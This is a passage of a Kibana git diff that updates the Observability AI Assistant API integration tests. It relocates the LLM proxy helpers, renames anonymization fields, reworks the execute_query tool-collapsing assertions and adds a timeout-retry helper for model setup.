'https?://[^\\s]+', - enabled: true, - }, - ], + [aiAssistantAnonymizationSettings]: JSON.stringify( + { + rules: [ + { + entityClass: 'EMAIL', + type: 'RegExp', + pattern: '([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,})', + enabled: true, + }, + { + entityClass: 'URL', + type: 'RegExp', + pattern: '(https?:\\/\\/[^\\s"\']+)', + enabled: true, + }, + ], + }, null, 2 ), @@ -66,7 +65,7 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon await observabilityAIAssistantAPIClient.deleteActionConnector({ actionId: connectorId }); await clearConversations(es); await setAdvancedSettings(supertest, { - 'observability:aiAssistantAnonymizationRules': [], + [aiAssistantAnonymizationSettings]: JSON.stringify({ rules: [] }), }); }); @@ -140,15 +139,15 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon // First stored message const firstSavedMsg = storedUserMsgs[0]; - expect(firstSavedMsg.unredactions).to.have.length(1); - expect(firstSavedMsg.unredactions[0].entity).to.eql('claudia@example.com'); - expect(firstSavedMsg.unredactions[0].class_name).to.eql('EMAIL'); + expect(firstSavedMsg.deanonymizations).to.have.length(1); + expect(firstSavedMsg.deanonymizations[0].entity.value).to.eql('claudia@example.com'); + expect(firstSavedMsg.deanonymizations[0].entity.class_name).to.eql('EMAIL'); // Second stored message const secSavedMsg = storedUserMsgs[1]; - expect(secSavedMsg.unredactions).to.have.length(1); - expect(secSavedMsg.unredactions[0].entity).to.eql('http://claudia.is'); - expect(secSavedMsg.unredactions[0].class_name).to.eql('URL'); + expect(secSavedMsg.deanonymizations).to.have.length(1); + expect(secSavedMsg.deanonymizations[0].entity.value).to.eql('http://claudia.is'); + expect(secSavedMsg.deanonymizations[0].entity.class_name).to.eql('URL'); }); }); } diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/chat/chat.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/chat/chat.spec.ts index f9f001a95c8d1..9ba3884aac477 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/chat/chat.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/chat/chat.spec.ts @@ -9,11 +9,8 @@ import expect from '@kbn/expect'; import { MessageRole, type Message } from '@kbn/observability-ai-assistant-plugin/common'; import { PassThrough } from 'stream'; import { times } from 'lodash'; -import { - LlmProxy, - createLlmProxy, -} from '../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; -import { SupertestWithRoleScope } from '../../../../services/role_scoped_supertest'; +import { SupertestWithRoleScope } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/role_scoped_supertest'; +import { createLlmProxy, LlmProxy } from '../utils/create_llm_proxy'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../ftr_provider_context'; const SYSTEM_MESSAGE = `this is a system message`; diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/complete.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/complete.spec.ts index f875f360af491..4eca82ba8be39 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/complete.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/complete.spec.ts @@ -17,12 +17,9 @@ import { StreamingChatResponseEventType, } from '@kbn/observability-ai-assistant-plugin/common/conversation_complete'; import { ObservabilityAIAssistantScreenContextRequest } from '@kbn/observability-ai-assistant-plugin/common/types'; -import { - createLlmProxy, - LlmProxy, -} from '../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { SupertestWithRoleScope } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/role_scoped_supertest'; +import { createLlmProxy, LlmProxy } from '../utils/create_llm_proxy'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../ftr_provider_context'; -import { SupertestWithRoleScope } from '../../../../services/role_scoped_supertest'; import { systemMessageSorted, clearConversations, diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/alerts.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/alerts.spec.ts index 76f1ea4aaf251..ecb4c6dbc8c34 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/alerts.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/alerts.spec.ts @@ -11,10 +11,7 @@ import { InternalRequestHeader, RoleCredentials } from '@kbn/ftr-common-function import { ApmSynthtraceEsClient } from '@kbn/apm-synthtrace'; import { ApmRuleType } from '@kbn/rule-data-utils'; import { SearchAlertsResult } from '@kbn/alerts-ui-shared/src/common/apis/search_alerts/search_alerts'; -import { - LlmProxy, - createLlmProxy, -} from '../../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy, createLlmProxy } from '../../utils/create_llm_proxy'; import { getMessageAddedEvents, invokeChatCompleteWithFunctionRequest, diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/context.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/context.spec.ts index c99038201698c..84b896fe397ae 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/context.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/context.spec.ts @@ -17,11 +17,7 @@ import { CONTEXT_FUNCTION_NAME } from '@kbn/observability-ai-assistant-plugin/se import { Instruction } from '@kbn/observability-ai-assistant-plugin/common/types'; import { RecalledSuggestion } from '@kbn/observability-ai-assistant-plugin/server/functions/context/utils/recall_and_score'; import { SCORE_SUGGESTIONS_FUNCTION_NAME } from '@kbn/observability-ai-assistant-plugin/server/functions/context/utils/score_suggestions'; -import { - KnowledgeBaseDocument, - LlmProxy, - createLlmProxy, -} from '../../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { KnowledgeBaseDocument, LlmProxy, createLlmProxy } from '../../utils/create_llm_proxy'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../../ftr_provider_context'; import { addSampleDocsToInternalKb, clearKnowledgeBase } from '../../utils/knowledge_base'; import { chatComplete } from '../../utils/conversation'; diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/elasticsearch.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/elasticsearch.spec.ts index 9aa3f2b375e8a..17331ba832d9d 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/elasticsearch.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/elasticsearch.spec.ts @@ -10,10 +10,7 @@ import expect from '@kbn/expect'; import { apm, timerange } from '@kbn/apm-synthtrace-client'; import { ApmSynthtraceEsClient } from '@kbn/apm-synthtrace'; import { ELASTICSEARCH_FUNCTION_NAME } from '@kbn/observability-ai-assistant-plugin/server/functions/elasticsearch'; -import { - LlmProxy, - createLlmProxy, -} from '../../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy, createLlmProxy } from '../../utils/create_llm_proxy'; import { getMessageAddedEvents, invokeChatCompleteWithFunctionRequest, diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/execute_query.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/execute_query.spec.ts index 266f4650df4fe..13b32c4a3fa7b 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/execute_query.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/execute_query.spec.ts @@ -11,10 +11,7 @@ import { LogsSynthtraceEsClient } from '@kbn/apm-synthtrace'; import { last } from 'lodash'; import { ChatCompletionStreamParams } from 'openai/lib/ChatCompletionStream'; import { type EsqlToRecords } from '@elastic/elasticsearch/lib/helpers'; -import { - LlmProxy, - createLlmProxy, -} from '../../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy, createLlmProxy } from '../../utils/create_llm_proxy'; import { chatComplete } from '../../utils/conversation'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../../ftr_provider_context'; import { createSimpleSyntheticLogs } from '../../synthtrace_scenarios/simple_logs'; @@ -173,13 +170,13 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon }); }); - describe('The fourth request - Executing the ES|QL query', () => { - it('contains the `execute_query` tool call request', () => { + describe('The fourth request - executing the ES|QL query', () => { + it('should not contain the `execute_query` tool call request', () => { const hasToolCall = fourthRequestBody.messages.some( // @ts-expect-error (message) => message.tool_calls?.[0]?.function?.name === 'execute_query' ); - expect(hasToolCall).to.be(true); + expect(hasToolCall).to.be(false); }); it('emits a messageAdded event with the `execute_query` tool response', () => { @@ -189,31 +186,168 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon expect(event?.message.message.content).to.contain('simple log message'); }); - describe('the `execute_query` tool call response', () => { - let toolCallResponse: { - columns: EsqlToRecords['columns']; - rows: EsqlToRecords['records']; - }; - before(async () => { - toolCallResponse = JSON.parse(last(fourthRequestBody.messages)?.content as string); - }); + describe('tool call collapsing', () => { + it('collapses the `execute_query` tool call into the `query` tool response', () => { + const content = JSON.parse(last(fourthRequestBody.messages)?.content as string); + expect(content.steps).to.have.length(2); + + const [toolRequest, toolResponse] = content.steps; - it('has the correct columns', () => { - expect(toolCallResponse.columns.map(({ name }) => name)).to.eql([ - 'message', - '@timestamp', - ]); + // visualize_query tool request (sent by the LLM) + expect(toolRequest.role).to.be('assistant'); + expect(toolRequest.toolCalls[0].function.name).to.be('execute_query'); + + // visualize_query tool response (sent by AI Assistant) + expect(toolResponse.role).to.be('tool'); + expect(toolResponse.name).to.be('execute_query'); }); - it('has the correct number of rows', () => { - expect(toolCallResponse.rows.length).to.be(10); + it('contains the `execute_query` tool call request', () => { + const toolCallRequest = JSON.parse(last(fourthRequestBody.messages)?.content as string) + .steps[0].toolCalls[0]; + expect(toolCallRequest.function.name).to.be('execute_query'); + expect(toolCallRequest.function.arguments.query).to.contain( + 'FROM logs-apache.access-default' + ); }); - it('has the right log message', () => { - expect(toolCallResponse.rows[0][0]).to.be('simple log message'); + describe('the `execute_query` response', () => { + let toolCallResponse: { + columns: EsqlToRecords['columns']; + rows: EsqlToRecords['records']; + }; + + before(async () => { + toolCallResponse = JSON.parse(last(fourthRequestBody.messages)?.content as string) + .steps[1].response; + }); + + it('has the correct columns', () => { + expect(toolCallResponse.columns.map(({ name }) => name)).to.eql([ + 'message', + '@timestamp', + ]); + }); + + it('has the correct number of rows', () => { + expect(toolCallResponse.rows.length).to.be(10); + }); + + it('has the right log message', () => { + expect(toolCallResponse.rows[0][0]).to.be('simple log message'); + }); }); }); }); }); }); } + +// query tool call +// [ +// { +// "role": "assistant", +// "content": "", +// "tool_calls": [ +// { +// "function": { +// "name": "query", +// "arguments": "{}" +// }, +// "id": "5af197", +// "type": "function" +// } +// ] +// }, +// { +// "role": "tool", +// "content": "{\"steps\":[{\"role\":\"assistant\",\"content\":\"\",\"toolCalls\":[{\"function\":{\"name\":\"execute_query\",\"arguments\":{\"query\":\"FROM logs-apache.access-default\\n | KEEP message\\n | SORT @timestamp DESC\\n | LIMIT 10\"}},\"toolCallId\":\"ce4275\"}]},{\"name\":\"execute_query\",\"role\":\"tool\",\"response\":{\"columns\":[{\"id\":\"message\",\"name\":\"message\",\"meta\":{\"type\":\"string\"}},{\"id\":\"@timestamp\",\"name\":\"@timestamp\",\"meta\":{\"type\":\"date\"}}],\"rows\":[[\"simple log message\",\"2025-07-03T21:43:04.898Z\"],[\"simple log message\",\"2025-07-03T21:42:04.898Z\"],[\"simple log message\",\"2025-07-03T21:41:04.898Z\"],[\"simple log message\",\"2025-07-03T21:40:04.898Z\"],[\"simple log message\",\"2025-07-03T21:39:04.898Z\"],[\"simple log message\",\"2025-07-03T21:38:04.898Z\"],[\"simple log message\",\"2025-07-03T21:37:04.898Z\"],[\"simple log message\",\"2025-07-03T21:36:04.898Z\"],[\"simple log message\",\"2025-07-03T21:35:04.898Z\"],[\"simple log message\",\"2025-07-03T21:34:04.898Z\"]]},\"toolCallId\":\"ce4275\"}]}", +// "tool_call_id": "5af197" +// } +// ] + +// deserialized content of the query tool call +// { +// "steps": [ +// { +// "role": "assistant", +// "content": "", +// "toolCalls": [ +// { +// "function": { +// "name": "execute_query", +// "arguments": { +// "query": "FROM logs-apache.access-default\n | KEEP message\n | SORT @timestamp DESC\n | LIMIT 10" +// } +// }, +// "toolCallId": "ce4275" +// } +// ] +// }, +// { +// "name": "execute_query", +// "role": "tool", +// "response": { +// "columns": [ +// { +// "id": "message", +// "name": "message", +// "meta": { +// "type": "string" +// } +// }, +// { +// "id": "@timestamp", +// "name": "@timestamp", +// "meta": { +// "type": "date" +// } +// } +// ], +// "rows": [ +// [ +// "simple log message", +// "2025-07-03T21:43:04.898Z" +// ], +// [ +// "simple log message", +// "2025-07-03T21:42:04.898Z" +// ], +// [ +// "simple log message", +// "2025-07-03T21:41:04.898Z" +// ], +// [ +// "simple log message", +// "2025-07-03T21:40:04.898Z" +// ], +// [ +// "simple log message", +// "2025-07-03T21:39:04.898Z" +// ], +// [ +// "simple log message", +// "2025-07-03T21:38:04.898Z" +// ], +// [ +// "simple log message", +// "2025-07-03T21:37:04.898Z" +// ], +// [ +// "simple log message", +// "2025-07-03T21:36:04.898Z" +// ], +// [ +// "simple log message", +// "2025-07-03T21:35:04.898Z" +// ], +// [ +// "simple log message", +// "2025-07-03T21:34:04.898Z" +// ] +// ] +// }, +// "toolCallId": "ce4275" +// } +// ] +// } diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/get_alerts_dataset_info.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/get_alerts_dataset_info.spec.ts index d04052c2f8c99..459fbbde90479 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/get_alerts_dataset_info.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/get_alerts_dataset_info.spec.ts @@ -13,11 +13,7 @@ import { InternalRequestHeader, RoleCredentials } from '@kbn/ftr-common-function import { last } from 'lodash'; import { GET_RELEVANT_FIELD_NAMES_SYSTEM_MESSAGE } from '@kbn/observability-ai-assistant-plugin/server/functions/get_dataset_info/get_relevant_field_names'; import { ChatCompletionStreamParams } from 'openai/lib/ChatCompletionStream'; -import { - LlmProxy, - RelevantField, - createLlmProxy, -} from '../../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy, RelevantField, createLlmProxy } from '../../utils/create_llm_proxy'; import { createSyntheticApmData } from '../../synthtrace_scenarios/create_synthetic_apm_data'; import { chatComplete, getSystemMessage, systemMessageSorted } from '../../utils/conversation'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../../ftr_provider_context'; diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/get_dataset_info.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/get_dataset_info.spec.ts index 6a9a72788f856..35f0483ecd887 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/get_dataset_info.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/get_dataset_info.spec.ts @@ -11,11 +11,7 @@ import { LogsSynthtraceEsClient } from '@kbn/apm-synthtrace'; import { last } from 'lodash'; import { GET_RELEVANT_FIELD_NAMES_SYSTEM_MESSAGE } from '@kbn/observability-ai-assistant-plugin/server/functions/get_dataset_info/get_relevant_field_names'; import { ChatCompletionStreamParams } from 'openai/lib/ChatCompletionStream'; -import { - LlmProxy, - RelevantField, - createLlmProxy, -} from '../../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy, RelevantField, createLlmProxy } from '../../utils/create_llm_proxy'; import { chatComplete, getSystemMessage, systemMessageSorted } from '../../utils/conversation'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../../ftr_provider_context'; import { createSimpleSyntheticLogs } from '../../synthtrace_scenarios/simple_logs'; diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/retrieve_elastic_doc.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/retrieve_elastic_doc.spec.ts index 4c8f5000b9a97..e4f8490b47925 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/retrieve_elastic_doc.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/retrieve_elastic_doc.spec.ts @@ -10,14 +10,13 @@ import { ChatCompletionStreamParams } from 'openai/lib/ChatCompletionStream'; import { ChatCompletionMessageParam } from 'openai/resources'; import { last } from 'lodash'; import { MessageAddEvent, MessageRole } from '@kbn/observability-ai-assistant-plugin/common'; -import { - LlmProxy, - createLlmProxy, -} from '../../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy, createLlmProxy } from '../../utils/create_llm_proxy'; import { chatComplete } from '../../utils/conversation'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../../ftr_provider_context'; import { installProductDoc, uninstallProductDoc } from '../../utils/product_doc_base'; +const DEFAULT_INFERENCE_ID = '.elser-2-elasticsearch'; + export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderContext) { const log = getService('log'); const observabilityAIAssistantAPIClient = getService('observabilityAIAssistantApi'); @@ -93,7 +92,7 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon connectorId = await observabilityAIAssistantAPIClient.createProxyActionConnector({ port: llmProxy.getPort(), }); - await installProductDoc(supertest); + await installProductDoc(supertest, DEFAULT_INFERENCE_ID); void llmProxy.interceptWithFunctionRequest({ name: 'retrieve_elastic_doc', @@ -118,7 +117,7 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon }); after(async () => { - await uninstallProductDoc(supertest); + await uninstallProductDoc(supertest, DEFAULT_INFERENCE_ID); llmProxy.close(); await observabilityAIAssistantAPIClient.deleteActionConnector({ actionId: connectorId, diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/summarize.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/summarize.spec.ts index 6287b26b69ef1..8d4d468226a0e 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/summarize.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/summarize.spec.ts @@ -7,10 +7,7 @@ import { MessageRole } from '@kbn/observability-ai-assistant-plugin/common'; import expect from '@kbn/expect'; -import { - LlmProxy, - createLlmProxy, -} from '../../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy, createLlmProxy } from '../../utils/create_llm_proxy'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../../ftr_provider_context'; import { invokeChatCompleteWithFunctionRequest } from '../../utils/conversation'; import { diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/title_conversation.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/title_conversation.spec.ts index b13c3bdf3d93a..734c1a058ef0a 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/title_conversation.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/title_conversation.spec.ts @@ -12,10 +12,7 @@ import { TITLE_SYSTEM_MESSAGE, } from '@kbn/observability-ai-assistant-plugin/server/service/client/operators/get_generated_title'; import { MessageRole } from '@kbn/observability-ai-assistant-plugin/common'; -import { - LlmProxy, - createLlmProxy, -} from '../../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy, createLlmProxy } from '../../utils/create_llm_proxy'; import { chatComplete, clearConversations } from '../../utils/conversation'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../../ftr_provider_context'; diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/visualize_query.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/visualize_query.spec.ts index 59ba78627d4da..e872e6e178fd5 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/visualize_query.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/complete/functions/visualize_query.spec.ts @@ -8,10 +8,7 @@ import expect from '@kbn/expect'; import { MessageAddEvent, MessageRole } from '@kbn/observability-ai-assistant-plugin/common'; import { VisualizeESQLUserIntention } from '@kbn/observability-ai-assistant-plugin/common/functions/visualize_esql'; -import { - LlmProxy, - createLlmProxy, -} from '../../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy, createLlmProxy } from '../../utils/create_llm_proxy'; import { getMessageAddedEvents, invokeChatCompleteWithFunctionRequest, diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/knowledge_base/knowledge_base_user_instructions.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/knowledge_base/knowledge_base_user_instructions.spec.ts index ec1e58229be67..d620bd113a08b 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/knowledge_base/knowledge_base_user_instructions.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/knowledge_base/knowledge_base_user_instructions.spec.ts @@ -13,10 +13,7 @@ import { Instruction } from '@kbn/observability-ai-assistant-plugin/common/types import pRetry from 'p-retry'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../ftr_provider_context'; import { clearKnowledgeBase } from '../utils/knowledge_base'; -import { - LlmProxy, - createLlmProxy, -} from '../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { LlmProxy, createLlmProxy } from '../utils/create_llm_proxy'; import { clearConversations, getConversationCreatedEvent } from '../utils/conversation'; import { deployTinyElserAndSetupKb, diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/public_complete/public_complete.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/public_complete/public_complete.spec.ts index f8ab59b30572d..28c22a5e1908b 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/public_complete/public_complete.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/public_complete/public_complete.spec.ts @@ -15,10 +15,7 @@ import { type StreamingChatResponseEvent, } from '@kbn/observability-ai-assistant-plugin/common/conversation_complete'; import { type Instruction } from '@kbn/observability-ai-assistant-plugin/common/types'; -import { - createLlmProxy, - LlmProxy, -} from '../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { createLlmProxy, LlmProxy } from '../utils/create_llm_proxy'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../ftr_provider_context'; import { decodeEvents } from '../utils/conversation'; diff --git a/x-pack/test/observability_ai_assistant_api_integration/common/create_llm_proxy.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy.ts similarity index 100% rename from x-pack/test/observability_ai_assistant_api_integration/common/create_llm_proxy.ts rename to x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_llm_proxy.ts diff --git a/x-pack/test/observability_ai_assistant_api_integration/common/create_openai_chunk.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_openai_chunk.ts similarity index 100% rename from x-pack/test/observability_ai_assistant_api_integration/common/create_openai_chunk.ts rename to x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/create_openai_chunk.ts diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/knowledge_base.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/knowledge_base.ts index 8a5d73a844b29..ea47464237299 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/knowledge_base.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/knowledge_base.ts @@ -66,7 +66,7 @@ export async function waitForKnowledgeBaseReady( const { body, status } = await getKnowledgeBaseStatus(observabilityAIAssistantAPIClient); const { kbState, isReIndexing, concreteWriteIndex, currentInferenceId } = body; - if (status !== 200) { + if (status !== 200 || kbState !== KnowledgeBaseState.READY) { log.warning(`Knowledge base is not ready yet: Status code: ${status} State: ${kbState} @@ -78,7 +78,7 @@ export async function waitForKnowledgeBaseReady( expect(status).to.be(200); expect(kbState).to.be(KnowledgeBaseState.READY); expect(isReIndexing).to.be(false); - log.debug(`Knowledge base is in ready state.`); + log.info(`Knowledge base is in ready state.`); }); } diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/model_and_inference.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/model_and_inference.ts index 29aecd0add468..a2ebb2c906572 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/model_and_inference.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/model_and_inference.ts @@ -8,7 +8,8 @@ import { Client, errors } from '@elastic/elasticsearch'; import { ToolingLog } from '@kbn/tooling-log'; import { InferenceTaskType } from '@elastic/elasticsearch/lib/api/types'; -import pRetry from 'p-retry'; +import pRetry, { AbortError } from 'p-retry'; +import pTimeout, { TimeoutError } from 'p-timeout'; import { DeploymentAgnosticFtrProviderContext } from '../../../../ftr_provider_context'; import { SUPPORTED_TRAINED_MODELS } from '../../../../../../functional/services/ml/api'; import { setupKnowledgeBase, waitForKnowledgeBaseReady } from './knowledge_base'; @@ -37,6 +38,7 @@ export async function importModel( try { await ml.api.importTrainedModel(modelId, modelId, config); + log.info(`Model "${modelId}" imported successfully.`); } catch (error) { if ( error.message.includes('resource_already_exists_exception') || @@ -83,8 +85,10 @@ export async function startModelDeployment( export async function setupTinyElserModelAndInferenceEndpoint( getService: DeploymentAgnosticFtrProviderContext['getService'] ) { - await importModel(getService, { modelId: TINY_ELSER_MODEL_ID }); - await createTinyElserInferenceEndpoint(getService, { inferenceId: TINY_ELSER_INFERENCE_ID }); + await retryOnTimeout(() => importModel(getService, { modelId: TINY_ELSER_MODEL_ID })); + await retryOnTimeout(() => + createTinyElserInferenceEndpoint(getService, { inferenceId: TINY_ELSER_INFERENCE_ID }) + ); } export async function teardownTinyElserModelAndInferenceEndpoint( @@ -250,3 +254,20 @@ export async function stopTinyElserModel( log.error(`Could not stop knowledge base model (${TINY_ELSER_MODEL_ID}): ${e}`); } } + +async function retryOnTimeout(fn: () => Promise, timeout = 60_000): Promise { + return pRetry( + async () => { + try { + return await pTimeout(fn(), { milliseconds: timeout }); + } catch (err: any) { + if (!(err instanceof TimeoutError)) { + throw new AbortError(err); // don't retry on non-timeout errors + } + + throw err; // retry on timeout errors + } + }, + { retries: 2, minTimeout: 5_000, maxTimeout: 5_000 } + ); +} diff --git a/x-pack/test/observability_ai_assistant_api_integration/common/observability_ai_assistant_api_client.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/observability_ai_assistant_api_client.ts similarity index 100% rename from x-pack/test/observability_ai_assistant_api_integration/common/observability_ai_assistant_api_client.ts rename to x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/observability_ai_assistant_api_client.ts diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/product_doc_base.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/product_doc_base.ts index 3fd8913d3d9bb..97cdf016ee785 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/product_doc_base.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/product_doc_base.ts @@ -12,20 +12,26 @@ import { import type SuperTest from 'supertest'; -export async function installProductDoc(supertest: SuperTest.Agent) { +export async function installProductDoc(supertest: SuperTest.Agent, inferenceId: string) { return supertest .post('/internal/product_doc_base/install') .set(ELASTIC_HTTP_VERSION_HEADER, '1') .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') .set('kbn-xsrf', 'foo') + .send({ + inferenceId, + }) .expect(200); } -export async function uninstallProductDoc(supertest: SuperTest.Agent) { +export async function uninstallProductDoc(supertest: SuperTest.Agent, inferenceId: string) { return supertest .post('/internal/product_doc_base/uninstall') .set(ELASTIC_HTTP_VERSION_HEADER, '1') .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') .set('kbn-xsrf', 'foo') + .send({ + inferenceId, + }) .expect(200); } diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/snapshots.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/snapshots.ts index 44329626e2ca3..e0543a5246dbe 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/snapshots.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/utils/snapshots.ts @@ -9,7 +9,7 @@ 